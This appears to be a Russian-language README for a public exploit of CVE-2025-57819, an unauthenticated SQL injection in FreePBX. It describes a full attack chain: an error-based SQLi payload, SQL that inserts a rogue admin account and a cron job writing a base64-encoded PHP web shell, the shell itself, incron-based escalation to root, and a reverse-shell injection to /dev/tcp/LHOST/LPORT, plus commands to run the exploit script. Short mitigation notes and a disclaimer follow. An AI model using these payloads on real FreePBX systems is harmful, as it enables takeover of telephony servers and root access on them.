FreePBX CVE-2025-57819 - Неаутентифицированный SQLi до RCE PoC

Только для образовательных и исследовательских целей в области безопасности - см. Правовое уведомление ниже

Доказательство концепции эксплуатации для CVE-2025-57819, критической неаутентифицированной SQL-инъекции в FreePBX, позволяющей удалённое выполнение кода. Данный PoC опубликован после выпуска официальных патчей исключительно для исследований в области безопасности и авторизованного тестирования.

Обзор

Версии FreePBX 15.x, 16.x и 17.x (ниже пропатченных версий) уязвимы к неаутентифицированной SQL-инъекции в AJAX-обработчике модуля endpoint. Данная цепочка уязвимостей позволяет:

1. Создавать административные учётные записи через SQL-инъекцию
2. Развёртывать веб-шеллы через аутентифицированную инъекцию в cron-задания
3. Повышать привилегии до root (при наличии incron) через цепочку хуков sysadmin_manager
4. Полностью скомпрометировать систему с доступом через обратный шелл

---

Детали уязвимости

CVE ID	CVE-2025-57819
Тип	Неаутентифицированная SQL-инъекция (на основе ошибок)
CVSS	9.8 / 10.0 (Критический)
Затронуты	FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3
Пропатчены	15.0.66, 16.0.89, 17.0.3+
CISA KEV	Да (29 августа 2025 г.)

Уязвимая конечная точка

GET /admin/ajax.php?brand=<PAYLOAD>

Параметр brand в AJAX-обработчике модуля endpoint принимает пользовательский ввод без валидации, что приводит к SQL-инъекции на основе ошибок.

---

Цепочка эксплуатации

Этап 1: SQL-инъекция и создание административной учётной записи

Проверка SQLi с использованием извлечения на основе ошибок через EXTRACTVALUE() для получения имени базы данных:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

Вставка нового административного пользователя в asterisk.ampusers:

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

Этап 2: Аутентифицированная инъекция в cron-задания

С действительными учётными данными администратора эксплойт аутентифицируется в FreePBX и устанавливает аутентифицированную сессию. Cookies сессии сохраняются и используются для всех последующих аутентифицированных запросов.

Внедрение команды веб-шелла в asterisk.cron_jobs:

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

Cron-раннер FreePBX выполняет команду от имени пользователя asterisk, развёртывая PHP веб-шелл.

Этап 3: Активация веб-шелла

PHP веб-шелл развёртывается в /var/www/html/shell.php:

<?php system($_GET['cmd']); ?>

Эксплойт опрашивает веб-шелл до его активации, достигая RCE от имени пользователя asterisk (uid=999).

Этап 4: Повышение привилегий (условно)

Если на цели настроен incron:

1. Создать файл-триггер в /var/spool/asterisk/incron/
2. incrond (работающий от root) обнаруживает создание файла
3. Вызывает /usr/bin/sysadmin_manager с именем файла-триггера
4. sysadmin_manager проверяет GPG-подпись и передаёт управление хуку fwconsole-commands
5. Хук декодирует полезную нагрузку и выполняет: /usr/sbin/fwconsole <COMMAND>
6. Инъекция команды: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Результат: root-шелл на обратном слушателе (при наличии incron).

---

Что эксплуатируется

• Отсутствие валидации ввода параметра brand
• Выполнение составных запросов позволяет манипулировать базой данных
• Записываемая таблица asterisk.cron_jobs выполняет команды от имени asterisk
• Сохранение аутентифицированной сессии через cookies созданной административной учётной записи
• Мониторинг файловой системы incron, работающий от root
• Невалидированное выполнение хука fwconsole с инъекцией команд

---

Установка

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

Использование

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

---

Затронутые версии

Версия	Статус
15.0.0 - 15.0.65	Уязвима
15.0.66+	Пропатчена
16.0.0 - 16.0.88	Уязвима
16.0.89+	Пропатчена
17.0.0 - 17.0.2	Уязвима
17.0.3+	Пропатчена

---

Меры защиты

Немедленные:

• Ограничить доступ к /admin/ajax.php из недоверенных сетей
• Отключить incron, если он не нужен: systemctl disable incrond

Постоянные: Обновиться до пропатченных версий: 15.0.66+, 16.0.89+ или 17.0.3+

---

Ссылки

• CVE-2025-57819
• CISA KEV Catalog
• FreePBX Security Advisory

---

Правовое уведомление

⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

Данное доказательство концепции предоставляется ИСКЛЮЧИТЕЛЬНО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ И ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ. Автор не несёт ответственности за неправомерное использование или ущерб, причинённый данным инструментом.

ВЫ ОБЯЗАНЫ СОБЛЮДАТЬ:

• Закон о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичные законы вашей юрисдикции
• Тестировать только системы, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение
• Получить письменное разрешение перед любым тестированием безопасности
• Практики ответственного раскрытия информации
• Нормы защиты конфиденциальности и данных (GDPR, CCPA и др.)

ЗАПРЕЩЁННОЕ ИСПОЛЬЗОВАНИЕ:

• Неавторизованный доступ к компьютерным системам
• Тестирование на проникновение без письменного согласия
• Нарушение работы сервисов или кража данных
• Любая вредоносная или незаконная деятельность

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Автор не несёт ответственности за:

• Неавторизованный доступ или уголовные обвинения
• Повреждение систем или потерю данных
• Правовые последствия неправомерного использования
• Нарушения законов о компьютерном мошенничестве

Данная уязвимость:

• Публично раскрыта (CVE-2025-57819)
• Патчи общедоступны
• Опубликована только для исследований в области безопасности
• Раскрыта ответственно после выпуска патча

---

Автор

JazzTheRabbit

• GitHub: @JazzTheRabbit
• HackTheBox: @JazzTheRabbit
• YouTube: JazzTheRabbit

Лицензия

MIT License